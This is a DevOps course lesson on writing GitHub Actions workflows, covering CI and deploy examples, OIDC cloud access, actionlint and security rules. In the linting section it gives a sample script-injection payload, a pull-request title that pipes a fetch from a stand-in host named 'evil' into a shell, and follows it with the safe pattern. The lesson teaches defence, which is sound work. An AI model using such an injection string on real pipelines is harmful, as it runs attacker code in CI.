Lesson 3 of 8 · 12 min · Pipelines in practice
GitHub Actions: writing and validating workflows
What you will learn
- The building blocks: workflows, events, jobs, steps, runners, actions
- A complete CI workflow, line by line: matrix, caching, image build and push
- Passing data between steps and jobs, conditions, and concurrency
- A deploy workflow using environments, approvals and cloud OIDC
- Security rules and how to lint workflows with
actionlint
In simple words
GitHub Actions is the automation built into GitHub. You add a small file to your project that says: when someone pushes code, run these steps. GitHub then starts a fresh computer, runs the steps and shows you a green tick or a red cross. This lesson reads one such file line by line.
Words to know
- Workflow: the file that describes what to run and when.
- Job: a group of steps that run together on one machine.
- Runner: the machine that runs a job.
- Action: a ready-made step that you can reuse instead of writing it yourself.
The building blocks
GitHub Actions is the CI/CD system built into GitHub. You describe automation in YAML files in .github/workflows/. The vocabulary:
| Term | Meaning |
|---|---|
| Workflow | one YAML file; a process that runs when triggered |
| Event | what triggers it: push, pull_request, schedule (cron), workflow_dispatch (manual button), release, workflow_call (reusable) |
| Job | a group of steps that runs on one runner. Jobs run in parallel unless one needs: another |
| Step | one task: a shell command (run:) or an action (uses:) |
| Runner | the machine that runs a job: GitHub-hosted (ubuntu-24.04) or self-hosted. Each job starts on a fresh machine, so nothing carries over unless you cache or upload it |
| Action | a reusable unit, such as actions/checkout@v4, versioned by tag or commit SHA |
A complete CI workflow
.github/workflows/ci.yml:
name: CI
on:
push:
branches: [main]
pull_request:
permissions:
contents: read
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
jobs:
test:
runs-on: ubuntu-24.04
timeout-minutes: 15
strategy:
matrix:
python: ["3.11", "3.12"]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python }}
cache: pip
- run: pip install -r requirements.txt
- run: pytest --maxfail=1 -q
image:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-24.04
permissions:
contents: read
packages: write
outputs:
tag: ${{ steps.meta.outputs.tag }}
steps:
- uses: actions/checkout@v4
- id: meta
run: echo "tag=sha-${GITHUB_SHA::7}" >> "$GITHUB_OUTPUT"
- uses: docker/setup-buildx-action@v3
- uses: docker/login-action@v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- uses: docker/build-push-action@v6
with:
context: .
push: true
tags: ghcr.io/${{ github.repository }}:${{ steps.meta.outputs.tag }}
cache-from: type=gha
cache-to: type=gha,mode=max
We checked this file with actionlint, a static checker for workflow files: no problems reported. How it works:
on:runs on every push tomainand on every pull request.permissions: contents: readat the top limits the automaticGITHUB_TOKENto read-only. Grant more per job, only where needed (theimagejob addspackages: writeto push to GitHub's container registry). Default to least privilege.concurrencywithcancel-in-progresscancels an older run for the same branch when a new commit arrives, saving minutes.timeout-minutesstops a hung job from consuming a runner for six hours (the default limit).strategy.matrixruns the job once per value: here Python 3.11 and 3.12 in parallel. Matrices can combine operating systems, versions and more.actions/setup-pythonwithcache: piprestores and saves the pip cache keyed on the requirements file (more on caching in the next lesson).needs: testmakes theimagejob wait for alltestjobs to succeed;if: github.ref == 'refs/heads/main'builds an image only onmain, not on pull requests.- Outputs: the step with
id: metawritestag=sha-1a2b3c4into the special file$GITHUB_OUTPUT; the job exposes it asoutputs.tagso later jobs can readneeds.image.outputs.tag. Tagging the image with the commit SHA makes every image traceable to its source. docker/build-push-actionbuilds and pushes with BuildKit, reusing layers from GitHub's cache (type=gha).
Expressions and contexts
${{ ... }} evaluates expressions using contexts: github (event, ref, sha, actor, repository), env, secrets, vars, matrix, steps, needs, inputs, runner. Functions: contains(), startsWith(), hashFiles('**/requirements.txt'), success(), failure(), always(). Conditions: if: failure() runs a notification step only when something failed; if: startsWith(github.ref, 'refs/tags/v') is a release gate.
A deploy workflow
.github/workflows/deploy.yml:
name: Deploy
on:
workflow_dispatch:
inputs:
tag:
description: Image tag to deploy
required: true
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-24.04
environment: production
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/deploy
aws-region: ap-south-1
- run: |
echo "deploying ${{ inputs.tag }}"
aws sts get-caller-identity
Two important ideas:
environment: production: GitHub environments can require manual approval by reviewers, restrict which branches may deploy, and hold environment-specific secrets and variables. A job targetingproductionpauses until an approver clicks. That is the manual gate of continuous delivery.- OIDC instead of stored cloud keys:
id-token: writelets the job request a short-lived identity token from GitHub. AWS is configured to trust it for a particular repository and environment, andconfigure-aws-credentialsexchanges it for temporary credentials by assuming the role. No long-lived access key is stored in GitHub at all, which removes the most common source of leaked cloud credentials (see the secrets lesson). The example account number is a placeholder.
Other useful features
- Reusable workflows (
workflow_call) and composite actions share pipeline logic across repositories. - Artifacts:
actions/upload-artifactanddownload-artifactpass files between jobs (next lesson). - Service containers (
services: postgres:) run databases for tests. - Scheduled runs (
schedule: - cron: '0 2 * * *', UTC): nightly scans or builds. - Self-hosted runners for special hardware or private networks. Never use them on public repositories without strict controls: untrusted pull requests could run code on your machines.
- Dependabot (or Renovate) opens pull requests that update dependencies and action versions.
workflow_dispatchmakes a workflow runnable by hand with inputs;gh workflow runandgh run watchdrive it from a terminal.
Linting and testing workflows
Workflow YAML fails late (when it runs), so catch mistakes early with actionlint:
docker run --rm -v "$PWD:/repo" -w /repo rhysd/actionlint:latest
To see what it catches we wrote a deliberately bad workflow. Real findings:
job "build" needs job "nothere" which does not exist in this workflow [job-needs]
"github.event.pull_request.title" is potentially untrusted. avoid using it directly in inline scripts.
instead, pass it through an environment variable. [expression]
input "unknown-key" is not defined in action "actions/checkout@v4". available inputs are "clean", "fetch-depth", ... [action]
The middle one is a script injection risk: run: echo ${{ github.event.pull_request.title }} pastes attacker-controlled text into a shell script, so a pull request titled "; curl evil | sh # would run code in your pipeline. The safe pattern passes data through an environment variable:
- run: echo "$TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}
Run actionlint in a workflow or pre-commit hook, and run big logic locally with a Makefile so you do not debug by pushing commits (act can run workflows locally in Docker with limits).
Security rules for workflows
- Set
permissions:explicitly, read-only by default. - Pin third-party actions to a full commit SHA for sensitive pipelines (tags can be moved), and let Dependabot update them.
- Treat anything from a pull request (title, branch name, body) as untrusted input: never put it directly into
run:. - Be careful with
pull_request_targetandworkflow_run, which run with secrets in the context of the base repository; do not check out and run untrusted fork code there. - Secrets are not passed to workflows from forks by default. Keep it that way.
- Use OIDC for cloud access; environment protection rules for production.
Common mistakes
- Assuming state carries across jobs (each job has a fresh runner; use outputs, artifacts or caches).
- No
timeout-minutes. - Over-broad
permissions(the default token can be write-all in older repositories). - Long-lived cloud keys in repository secrets.
- Expression injection from untrusted fields.
- Hard-coding versions in many files instead of reusable workflows.
- YAML indentation errors and unquoted version numbers (
python: 3.10becomes3.1; quote"3.10").
Try it yourself
- Add the CI workflow to a small repository, push a branch, open a pull request and watch the checks.
- Run actionlint on it; introduce a typo in
needs:and see the finding. - Add a job that runs only on tags starting with
vand builds a release. - Create an environment
productionwith a required reviewer and a deploy job that targets it.
Check yourself
Why does each job start with an empty workspace?
Each job runs on a fresh runner. To share files between jobs use artifacts, caches, or push results to a registry; small values can pass through job outputs.
What is the advantage of OIDC over storing AWS access keys as secrets?
The job obtains short-lived credentials by proving its identity to the cloud provider, so there are no long-lived keys to leak, rotate or revoke, and trust can be restricted to a specific repository, branch or environment.
What does needs: do?
It makes a job wait for the listed jobs and run only if they succeeded (unless conditions say otherwise), and gives access to their outputs.
Why is run: echo ${{ github.event.pull_request.title }} dangerous?
The expression is substituted into the shell script before it runs, so attacker-controlled text can inject commands. Pass it as an environment variable and quote the variable.
Interview questions
How would you speed up a slow GitHub Actions pipeline?
Cache dependencies and Docker layers, run jobs in parallel with a matrix, avoid unnecessary jobs with path filters and if: conditions, cancel superseded runs with concurrency, split long test suites, and use larger runners if needed.
How do you deploy to production only after approval?
Use a GitHub environment with required reviewers: a job with environment: production waits until an approver accepts. Combine it with branch restrictions on the environment.
How do you secure secrets in GitHub Actions?
Prefer OIDC to cloud providers over stored keys, use environment-scoped secrets, grant minimal permissions, never expose secrets to untrusted code or forks, and avoid printing them (they are masked but can still be leaked by transformation).
Summary
- A workflow is YAML in
.github/workflows/: events trigger jobs of steps on fresh runners;needs,if,matrix,concurrencycontrol flow. - Tag images with the commit SHA, use caches, restrict
permissions, and set timeouts. - Deploy with environments (approvals) and OIDC (no stored cloud keys).
- Lint with actionlint, never inline untrusted expressions in
run, and pin or update actions deliberately.
Going deeper
- GitHub Actions documentation: concepts, syntax and guides.
- Workflow syntax reference: every key.
- Security hardening for GitHub Actions: injection, permissions and pinning.
- OpenID Connect in AWS (GitHub docs): keyless cloud access.
- actionlint: the linter used above.
See how much of this you can explain
A free mock interview asks you new questions on CI/CD pipelines and releases for DevOps Engineer and scores every answer, with what to fix.